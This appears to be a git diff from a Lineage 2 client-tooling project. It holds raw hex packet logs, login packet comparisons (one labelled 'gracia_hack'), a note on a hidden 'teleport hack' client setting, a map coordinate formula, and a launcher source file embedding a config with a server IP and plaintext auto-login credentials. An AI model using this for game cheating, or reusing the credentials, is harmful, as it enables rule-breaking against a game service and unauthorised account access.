FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 41 0F 01 10 A3 15 00 00 37 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EF 0B 01 10 4A 07 00 00 38 00 00 00 42 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 48 0B 01 10 54 07 00 00 39 00 00 00 7A 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 3D 0B 01 10 4F 07 00 00 3A 00 00 00 83 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 8B 01 01 10 C1 09 00 00 3B 00 00 00 01 00 00 00 01 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4E 00 01 10 E4 00 00 00 3C 00 00 00 01 00 00 00 00 00 00 00 00 00 80 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 CD EA 00 10 DE 19 00 00 3D 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 89 EA 00 10 DE 19 00 00 3E 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 88 EA 00 10 DE 19 00 00 3F 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 77 EA 00 10 DE 19 00 00 40 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 71 EA 00 10 DE 19 00 00 41 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 64 EA 00 10 DE 19 00 00 42 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B2 BD 00 10 89 26 00 00 05 00 00 00 01 00 00 00 00 00 00 00 01 00 00 40 00 00 08 00 00 00 57 2A 2B 1C FF FF FF FF 00 00 00 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 70 CB 00 00 70 36 FF FF E8 F3 FF FF D0 CA 00 00 60 36 FF FF E8 F3 FF FF +S: Len 31 | 1F 00 / 2F / 5A EB 03 10 62 D5 00 00 70 26 FF FF 58 F3 FF FF 25 D5 00 00 70 26 FF FF 58 F3 FF FF +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 31 | 1F 00 / 2F / 37 ED 03 10 60 C9 00 00 10 2F FF FF 20 F5 FF FF 30 CA 00 00 76 2E FF FF 80 F4 FF FF +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 D0 CB 00 00 A0 36 FF FF E8 F3 FF FF 70 CB 00 00 70 36 FF FF E8 F3 FF FF +S: Len 31 | 1F 00 / 2F / A9 EC 03 10 1D C6 00 00 3C 34 FF FF A0 F4 FF FF C0 C6 00 00 F7 32 FF FF B0 F4 FF FF +C: Len 11 | 0B 00 / 19 / 57 EA 03 10 00 00 00 00 +S: Len 83 | 53 00 / 21 / 01 00 02 00 04 00 57 EA 03 10 25 04 00 00 06 00 00 00 F9 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 43 | 2B 00 / 48 / 31 10 03 10 31 10 03 10 F0 07 00 00 01 00 00 00 00 00 00 00 10 27 00 00 A8 CB 00 00 61 2B FF FF 90 F3 FF FF 00 00 00 00 +S: Len 19 | 13 00 / 62 / 2E 00 00 00 01 00 00 00 03 00 00 00 25 04 00 00 +S: Len 23 | 17 00 / 54 / 31 10 03 10 F0 07 00 00 01 00 00 00 01 00 00 00 31 10 03 10 +S: Len 25 | 19 00 / FE / 01 00 01 00 00 00 0F 00 00 00 01 00 00 00 00 00 00 00 00 00 48 40 +S: Len 23 | 17 00 / 62 / 6E 00 00 00 01 00 00 00 04 00 00 00 F0 07 00 00 01 00 00 00 +S: Len 722 | D2 02 / 32 / A8 CB 00 00 61 2B FF FF 90 F3 FF FF AA 34 00 00 31 10 03 10 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 00 00 00 00 01 00 00 00 5C 00 00 00 52 00 00 00 CD 2C 7D B3 02 00 00 00 2F 00 00 00 22 00 00 00 20 00 00 00 15 00 00 00 0B 00 00 00 19 00 00 00 D9 13 00 00 D9 13 00 00 6D 0B 00 00 6D 0B 00 00 E0 35 94 4A 01 DC 01 00 6F 26 06 00 28 00 00 00 8C E8 03 10 DB A3 04 10 E4 A3 04 10 00 A4 04 10 13 22 01 10 70 A4 04 10 4E 20 04 10 B2 BD 00 10 DB 7A 01 10 51 20 04 10 4B 20 04 10 4C 20 04 10 57 20 04 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 02 00 00 EF 24 00 00 EF 24 00 00 F0 24 00 00 04 1A 00 00 F1 24 00 00 CE 24 00 00 89 26 00 00 41 05 00 00 CF 24 00 00 CA 24 00 00 CD 24 00 00 D0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 2A 2B 1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 0E 00 00 93 01 00 00 1B 06 00 00 76 00 00 00 76 00 00 00 46 01 00 00 70 01 00 00 D5 00 00 00 93 01 00 00 F0 05 00 00 00 00 00 00 00 00 00 00 73 00 00 00 58 00 00 00 65 00 00 00 65 00 00 00 73 00 00 00 58 00 00 00 73 00 00 00 58 00 00 00 00 00 00 20 0B 59 F8 3F 00 00 00 20 4B 7E F5 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 37 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3E 00 3E 00 2D 00 2D 00 2D 00 3E 00 00 00 48 E3 02 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 11 FE FF 7F 00 09 00 00 00 00 00 00 00 50 00 5C 00 00 00 00 00 00 00 94 09 00 00 94 09 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 00 01 01 00 00 00 00 00 00 00 77 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 96 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 +S: Len 15 | 0F 00 / FA / F0 07 00 00 01 00 00 00 0E 00 00 00 +S: Len 125 | 7D 00 / 85 / 0C 00 F9 10 00 00 02 00 9F 17 00 00 F8 10 00 00 02 00 9F 17 00 00 FD 10 00 00 01 00 9F 17 00 00 F6 10 00 00 02 00 9F 17 00 00 FB 10 00 00 04 00 9F 17 00 00 FC 10 00 00 04 00 A0 17 00 00 05 11 00 00 01 00 A0 17 00 00 07 11 00 00 02 00 A0 17 00 00 06 11 00 00 02 00 A0 17 00 00 02 11 00 00 02 00 A0 17 00 00 FA 10 00 00 02 00 A1 17 00 00 2F 01 00 00 04 00 F0 03 00 00 +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 90 CB 00 00 F0 36 FF FF E8 F3 FF FF D0 CB 00 00 A0 36 FF FF E8 F3 FF FF +S: Len 11 | 0B 00 / 27 / AA EC 03 10 02 00 00 00 +S: Len 31 | 1F 00 / 2F / 19 ED 03 10 DD C6 00 00 2C 31 FF FF E0 F4 FF FF CD C7 00 00 07 31 FF FF F0 F4 FF FF +S: Len 11 | 0B 00 / 27 / AA EC 03 10 03 00 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 60 CB 00 00 00 37 FF FF E8 F3 FF FF 90 CB 00 00 F0 36 FF FF E8 F3 FF FF +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 50 CB 00 00 00 37 FF FF E8 F3 FF FF 60 CB 00 00 00 37 FF FF E8 F3 FF FF +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 59 CB 00 00 0E 37 FF FF E8 F3 FF FF 50 CB 00 00 00 37 FF FF E8 F3 FF FF +S: Len 31 | 1F 00 / 2F / 37 ED 03 10 AB C9 00 00 4F 2F FF FF 10 F5 FF FF 60 C9 00 00 10 2F FF FF 20 F5 FF FF +S: Len 11 | 0B 00 / 27 / 2E EC 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / DA EB 03 10 01 00 00 00 +S: Len 31 | 1F 00 / 2F / AA EB 03 10 83 D4 00 00 6B 24 FF FF D0 F2 FF FF 0D D4 00 00 EB 24 FF FF 38 F3 FF FF +S: Len 11 | 0B 00 / 27 / D9 EB 03 10 01 00 00 00 +S: Len 11 | 0B 00 / 27 / A3 EB 03 10 03 00 00 00 +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 11 | 0B 00 / 27 / A2 EB 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / 45 EC 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / A2 EB 03 10 03 00 00 00 +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 A0 CB 00 00 F0 36 FF FF E8 F3 FF FF 59 CB 00 00 0E 37 FF FF E8 F3 FF FF +S: Len 11 | 0B 00 / 27 / AA EC 03 10 01 00 00 00 +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6D 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 7 | 07 00 / 26 / 31 10 03 10 +S: Len 7 | 07 00 / 26 / 39 A4 00 10 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 D0 CB 00 00 A0 36 FF FF E8 F3 FF FF A0 CB 00 00 F0 36 FF FF E8 F3 FF FF +C: Len 545 | 21 02 / D0 / 24 00 43 00 00 00 38 B4 04 10 00 00 00 00 D2 B3 04 10 01 00 00 00 AF B3 04 10 02 00 00 00 D1 14 04 10 03 00 00 00 D2 ED 03 10 04 00 00 00 E4 EB 03 10 05 00 00 00 57 EA 03 10 06 00 00 00 FC E9 03 10 07 00 00 00 EE E9 03 10 08 00 00 00 DC E9 03 10 09 00 00 00 93 2F 03 10 0A 00 00 00 89 2E 03 10 0B 00 00 00 39 10 03 10 0C 00 00 00 32 10 03 10 0D 00 00 00 0A 0B 03 10 0E 00 00 00 02 CB 02 10 0F 00 00 00 9C B6 01 10 10 00 00 00 4C 8B 01 10 11 00 00 00 4B 8B 01 10 12 00 00 00 D0 7A 01 10 13 00 00 00 B2 6C 01 10 14 00 00 00 9D 3F 01 10 15 00 00 00 9C 3F 01 10 16 00 00 00 5E 2F 01 10 17 00 00 00 E0 2C 01 10 18 00 00 00 9F 29 01 10 19 00 00 00 8C 29 01 10 1A 00 00 00 5A 28 01 10 1B 00 00 00 1A 28 01 10 1C 00 00 00 39 26 01 10 1D 00 00 00 B5 24 01 10 1E 00 00 00 97 24 01 10 1F 00 00 00 31 24 01 10 20 00 00 00 21 24 01 10 21 00 00 00 D3 23 01 10 22 00 00 00 81 23 01 10 23 00 00 00 53 23 01 10 24 00 00 00 52 23 01 10 25 00 00 00 2D 23 01 10 26 00 00 00 2C 23 01 10 27 00 00 00 AF 22 01 10 28 00 00 00 70 22 01 10 29 00 00 00 6F 22 01 10 2A 00 00 00 60 22 01 10 2B 00 00 00 5F 22 01 10 2C 00 00 00 F3 1F 01 10 2D 00 00 00 ED 1F 01 10 2E 00 00 00 EC 1F 01 10 2F 00 00 00 E4 1F 01 10 30 00 00 00 D6 1F 01 10 31 00 00 00 8A 1F 01 10 32 00 00 00 F7 19 01 10 33 00 00 00 EC 17 01 10 34 00 00 00 58 15 01 10 35 00 00 00 E8 12 01 10 36 00 00 00 41 0F 01 10 37 00 00 00 EF 0B 01 10 38 00 00 00 48 0B 01 10 39 00 00 00 3D 0B 01 10 3A 00 00 00 8B 01 01 10 3B 00 00 00 4E 00 01 10 3C 00 00 00 CD EA 00 10 3D 00 00 00 89 EA 00 10 3E 00 00 00 88 EA 00 10 3F 00 00 00 77 EA 00 10 40 00 00 00 71 EA 00 10 41 00 00 00 64 EA 00 10 42 00 00 00 +C: Len 3 | 03 00 / 00 / +S: Len 15 | 0F 00 / FA / F0 07 00 00 01 00 00 00 FE FF FF FF +S: Len 125 | 7D 00 / 85 / 0C 00 F9 10 00 00 02 00 97 17 00 00 F8 10 00 00 02 00 97 17 00 00 FD 10 00 00 01 00 97 17 00 00 F6 10 00 00 02 00 97 17 00 00 FB 10 00 00 04 00 97 17 00 00 FC 10 00 00 04 00 98 17 00 00 05 11 00 00 01 00 98 17 00 00 07 11 00 00 02 00 98 17 00 00 06 11 00 00 02 00 98 17 00 00 02 11 00 00 02 00 98 17 00 00 FA 10 00 00 02 00 99 17 00 00 2F 01 00 00 04 00 E8 03 00 00 +S: Len 3 | 03 00 / 84 / diff --git a/docs/gamepackets/client_Logout_fromAUTHED.txt b/docs/gamepackets/client_Logout_fromAUTHED.txt new file mode 100644 index 0000000..68c439f --- /dev/null +++ b/docs/gamepackets/client_Logout_fromAUTHED.txt @@ -0,0 +1,4 @@ +Client: Len 3 + +03 00 +00 \ No newline at end of file diff --git a/docs/gamepackets/compare_gs_login_gracia_hack.txt b/docs/gamepackets/compare_gs_login_gracia_hack.txt new file mode 100644 index 0000000..51f2d0f --- /dev/null +++ b/docs/gamepackets/compare_gs_login_gracia_hack.txt @@ -0,0 +1,24 @@ +ProtocolVersion - MyChanged +0030 0b 01 0e 53 03 00 00 09 07 54 ..B.....S.....TV +0040 56 03 09 0b 01 07 02 54 54 56 07 00 02 55 56 00 ......TTV...UV.Q +0050 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 .SW..U.T...S.VUV +0060 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 ....Q..Q.QV.T.U. +0070 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 ..QV.S.U.S.VVS.. +0080 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 ...QTQ.UV.....U. +0090 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 .U....Q.....R... +00a0 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 .T..RU.UUQ...T.U +00b0 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 T.WQU.R.T.QQU..S +00c0 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 S.R.R..T........ +00d0 05 06 03 00 0d 08 01 07 09 03 51 03 07 53 09 51 .........Q..S.Q. +00e0 06 07 54 0a 50 56 02 52 04 05 55 51 02 53 00 08 .T.PV.R..UQ.S..T +00f0 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 .RV......SV...U. +0100 06 08 56 04 0d 06 07 52 06 07 04 0a 06 01 04 54 .V....R.......T. +0110 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 ....T..RS....... +0120 01 52 51 52 0d 06 51 08 09 54 53 00 0d 01 02 03 RQR..Q..TS.....T +0130 54 53 01 05 03 08 56 54 07 02 54 0b 06 df b8 3b S....VT..T....;T +0140 54 + +RequestGSAuthLogin - MyChanged +0030 00 bc 6c 00 65 00 78 00 78 00 ........l.e.x.x. +0040 68 00 75 00 6c 00 65 00 00 00 0d fe 0f 00 12 eb h.u.l.e......... +0050 01 00 0d fe 0f 00 30 28 fc 55 01 00 00 00 ......0(.U.... diff --git a/docs/gamepackets/compare_gs_login_gracia_hb.txt b/docs/gamepackets/compare_gs_login_gracia_hb.txt new file mode 100644 index 0000000..366bbb8 --- /dev/null +++ b/docs/gamepackets/compare_gs_login_gracia_hb.txt @@ -0,0 +1,25 @@ +ProtocolVersion - Gracia +0030 0b 01 0e 53 03 00 00 09 07 54 ...b.....S.....T +0040 56 03 09 0b 01 07 02 54 54 56 07 00 02 55 56 00 V......TTV...UV. +0050 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 Q.SW..U.T...S.VU +0060 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 V....Q..Q.QV.T.U +0070 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 ...QV.S.U.S.VVS. +0080 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 ....QTQ.UV.....U +0090 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 ..U....Q.....R.. +00a0 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 ..T..RU.UUQ...T. +00b0 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 UT.WQU.R.T.QQU.. +00c0 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 SS.R.R..T....... +00d0 05 06 03 00 0d 08 01 07 09 03 51 03 07 53 09 51 ..........Q..S.Q +00e0 06 07 54 0a 50 56 02 52 04 05 55 51 02 53 00 08 ..T.PV.R..UQ.S.. +00f0 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 T.RV......SV...U +0100 06 08 56 04 0d 06 07 52 06 07 04 0a 06 01 04 54 ..V....R.......T +0110 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 .....T..RS...... +0120 01 52 51 52 0d 06 51 08 09 54 53 00 0d 01 02 03 .RQR..Q..TS..... +0130 54 53 01 05 03 08 56 54 07 02 54 0b 06 df b8 3b TS....VT..T....; +0140 54 T + +RequestGSAuthLogin - Gracia +0030 31 00 3e c0 a3 ab da ed 20 49 ..>g..1.>..... I +0040 81 ce 5d 29 88 88 b9 4b e4 76 15 75 fa ba 77 00 ..])...K.v.u..w. +0050 21 07 94 98 c7 a4 95 4d cc 2d 00 6c 1d 52 9f be !......M.-.l.R.. +0060 ab f1 0c 01 a0 cc fd ....... diff --git a/docs/gamepackets/compare_gs_login_gracia_hbb.txt b/docs/gamepackets/compare_gs_login_gracia_hbb.txt new file mode 100644 index 0000000..3c96bcc --- /dev/null +++ b/docs/gamepackets/compare_gs_login_gracia_hbb.txt @@ -0,0 +1,19 @@ +ProtocolVersion - Hellbound +0030 0b 01 0e 3f 03 00 00 09 07 54 .........?.....T +0040 56 03 09 0b 01 07 02 54 54 56 07 00 02 55 56 00 V......TTV...UV. +0050 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 Q.SW..U.T...S.VU +0060 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 V....Q..Q.QV.T.U +0070 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 ...QV.S.U.S.VVS. +0080 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 ....QTQ.UV.....U +0090 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 ..U....Q.....R.. +00a0 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 ..T..RU.UUQ...T. +00b0 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 UT.WQU.R.T.QQU.. +00c0 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 SS.R.R..T....... +00d0 05 06 03 00 0d 08 01 07 09 03 51 03 07 53 09 51 ..........Q..S.Q +00e0 06 07 54 0a 50 56 02 52 04 05 55 51 02 53 00 08 ..T.PV.R..UQ.S.. +00f0 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 T.RV......SV...U +0100 06 08 56 04 0d 06 07 52 06 07 04 0a 06 01 04 54 ..V....R.......T +0110 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 .....T..RS...... +0120 01 52 51 52 0d 06 51 08 09 54 53 00 0d 01 02 03 .RQR..Q..TS..... +0130 54 53 01 05 03 08 56 54 07 02 54 0b 06 fb 87 b9 TS....VT..T..... +0140 4a J diff --git a/docs/hide.txt b/docs/hide.txt new file mode 100644 index 0000000..5ee844a --- /dev/null +++ b/docs/hide.txt @@ -0,0 +1,9 @@ +This "hide" as it's called here, is actually nothing but a standard setting inside the L2 client. + +It's been part of an invisible options menu since the birth of L2, under CPU settings. There, you could set some extraordinary values which would cause the client to "lag" in the same fashion as regular zone lag, and cause the infamous "teleport". A key bind into the actual L2 client could be set there as well. + +The built-in teleport is actually better utilized than this programmed version. Since it allows you to literally click a location on the floor (even at the opposite side of a room/dungeon/field) and teleport right to it. + +Back in the day, the few who knew about it simply called it a "teleport hack". + +I've used it 2 times to personally test, but never after that. it's way to sketchy to risk getting banned for that, imo. \ No newline at end of file diff --git a/docs/interlude_map_coords.txt b/docs/interlude_map_coords.txt new file mode 100644 index 0000000..cef637c --- /dev/null +++ b/docs/interlude_map_coords.txt @@ -0,0 +1,27 @@ +0,0-655,1310 + +line 22: x = -94 344 [ix = 182] +line 45: x = 185 823 +dline = 23; dx = 280 167 +x per line = 12181 + +line 24: y = -213 611 +line 62: y = 249 634 +dline = 38 +y per line = 12190 + +-94344 - [3*12185 = 36555] = -130899; kx = -130899 +-213611 - [4*12185 = 48740] = -262351; ky = -262351 + +line num starts with x: 19; y: 20 ... why?.. +dline on img = 61px; dline on game map ~= 12185 +dc = dlm / dli = 199.75 ~= 200 + +=================================================== +Constants: dc = 200; kx = -130899; ky = -262351 +Input: mx, my - coords of point in game +Output: ix, iy - coords of point on image +--------------------------------------------------- +ix = (mx - kx) / dc +iy = (my - ky) / dc +=================================================== \ No newline at end of file diff --git a/docs/l2_launcher.c b/docs/l2_launcher.c new file mode 100644 index 0000000..11dccf4 --- /dev/null +++ b/docs/l2_launcher.c @@ -0,0 +1,467 @@ +#include +#define LAUNCHER_DAT_LINES 446 + +char *launcher_dat [ LAUNCHER_DAT_LINES ] = { + "[URL]", + "Protocol=unreal", + "ProtocolDescription=Unreal Protocol", + "Name=Player", + "Map=Index.unr", + "LocalMap=Entry.unr", + "Host=", + "Portal=", + "MapExt=unr", + "EXEName=l2.exe", + "SaveExt=usa", + "Port=7777", + "Class=LineageWarrior.MFighter", + "ServerAddr=94.23.90.121", + "IsL2NetLogin=True", + "IsL2Console=True", + "IsL2Seamless=True", + "IsL2Projector=True", + "ISL2Mark=2", + "ForceAspectRatio=False", + "AspectRatio=1.334", + "IsDefaultShaodw=False", + "IsUnderWaterEffect=False", + "IsUseCommand=True", + "L2VersionCheck=false", + "IsL2MemLog=False", + "L2ThreadFilter=1", + "L2TestServer=false", + "EnablePurgeLevel=True", + "SharedSky=True", + "L2MaxPawnResourceLoad=1.0", + "L2UseKeyCrypt=true", + "L2UseReplayManager=true", + "L2SaveLog=true", + "EnableSecondWindow=true", + "IsUseXMLUI=True", + "L2ShaderPath=..\\system\\", + "", + "[L2WaterEffect]", + "ColorReference=(A=180,R=38,G=56,B=64,RR=150)", + "EffectResolution=512", + "", + "[LanguageSet]", + "Language=0", + "", + "[FontSet]", + ";Font=L2Font.Japan", + ";Glyph=Japan.gly", + "Font=L2Font.gulim", + "Glyph=gulim.gly", + "", + "[CharacterDisplay]", + "Name=true", + "Dist=1000", + "", + "[ClippingRange]", + "PawnMax=3.0", + "PawnMin=1.5", + "AntiPortal=1.5", + "Terrain=8.0", + "StaticMesh=4.0", + "Projector=0.2", + "StaticMeshLod=5.0", + "Pawn=2.0", + "Actor=4.0", + "", + "[AutoLogOn]", + "IsL2AutoLogOn=Ture", + "L2ID=zodiac", + "L2Passwd=zodiac", + "L2Slot=7", + "", + "[FirstRun]", + "FirstRun=2110", + "", + "[Engine.Engine]", + "RenderDevice=D3DDrv.D3DRenderDevice", + ";RenderDevice=Engine.NullRenderDevice", + ";RenderDevice=OpenGLDrv.OpenGLRenderDevice", + "AudioDevice=ALAudio.ALAudioSubsystem", + ";AudioDevice=XboxAudio.XboxAudioSubsystem", + "NetworkDevice=IpDrv.TcpNetDriver", + "DemoRecordingDevice=Engine.DemoRecDriver", + "Console=Engine.Console", + "DefaultPlayerMenu=UDebugMenu.UDebugRootWindow", + "Language=int", + "GameEngine=Engine.GameEngine", + "EditorEngine=Editor.EditorEngine", + "GUIController=Engine.BaseGUIController", + ";DefaultGame=WarfareGame.WarfareTeamGame", + ";DefaultServerGame=WarfareGame.WarfareTeamGame", + "DefaultGame=Engine.GameInfo", + "DefaultServerGame=Engine.GameInfo", + "ViewportManager=WinDrv.WindowsClient", + ";ViewportManager=XboxDrv.XboxClient", + ";ViewportManager=SDLDrv.SDLClient", + "Render=Render.Render", + "Input=Engine.Input", + "Canvas=Engine.Canvas", + "DefaultPlayerController=Engine.LineagePlayerController", + "L2NetHandler=Engine.NetHandler", + "L2Console=NWindow.ConsoleWnd", + "L2Font=NWindow.L2Font", + "", + "[Core.System]", + "PurgeCacheDays=30", + "SavePath=../Save", + "CachePath=../Cache", + "CacheExt=.uxx", + "Paths=../System/*.u", + "Paths=../StaticMeshes/*.usx", + "Paths=../Textures/*.utx", + "Paths=../Sounds/*.uax", + "Paths=../Voice/*.uax", + "Paths=../Maps/*.unr", + ";Paths=../Music/*.umx", + "Paths=../Animations/*.ukx", + "Paths=../Animations/*.uix", + "Paths=../SysTextures/*.utx", + "Paths=../Animations/*.usk", + "Paths=../Saves/*.uvx", + "Suppress=DevLoad", + "Suppress=DevSave", + "Suppress=DevNetTraffic", + "Suppress=DevGarbage", + "Suppress=DevKill", + "Suppress=DevReplace", + "Suppress=DevCompile", + "Suppress=DevBind", + "Suppress=DevBsp", + "", + "[Engine.GameEngine]", + "CacheSizeMegs=32", + "UseSound=True", + ";ServerActors=IpDrv.UdpBeacon", + ";ServerActors=IpServer.UdpServerQuery", + ";ServerActors=IpServer.UdpServerUplink MasterServerAddress=unreal.epicgames.com MasterServerPort=27900", + ";ServerActors=UWeb.WebServer", + "ServerPackages=AmbientCreatures", + ";ServerPackages=WarEffects", + ";ServerPackages=Decorations", + "ServerPackages=GamePlay", + "ServerPackages=UnrealGame", + ";ServerPackages=WarfareGame", + ";ServerPackages=WarClassLight", + ";ServerPackages=WarClassHeavy", + ";ServerPackages=WarClassMisc", + ";ServerPackages=Pickups", + "", + "[WinDrv.WindowsClient]", + "WindowedViewportX=640", + "WindowedViewportY=480", + "FullscreenViewportX=1024", + "FullscreenViewportY=768", + "MenuViewportX=640", + "MenuViewportY=480", + "Brightness=0.800000", + "Contrast=0.700000", + "Gamma=0.800000", + "UseJoystick=True", + "CaptureMouse=True", + "StartupFullscreen=True", + "UseWindowFrame=True", + "ScreenFlashes=True", + "NoLighting=False", + "MinDesiredFrameRate=35.000000", + "Decals=True", + 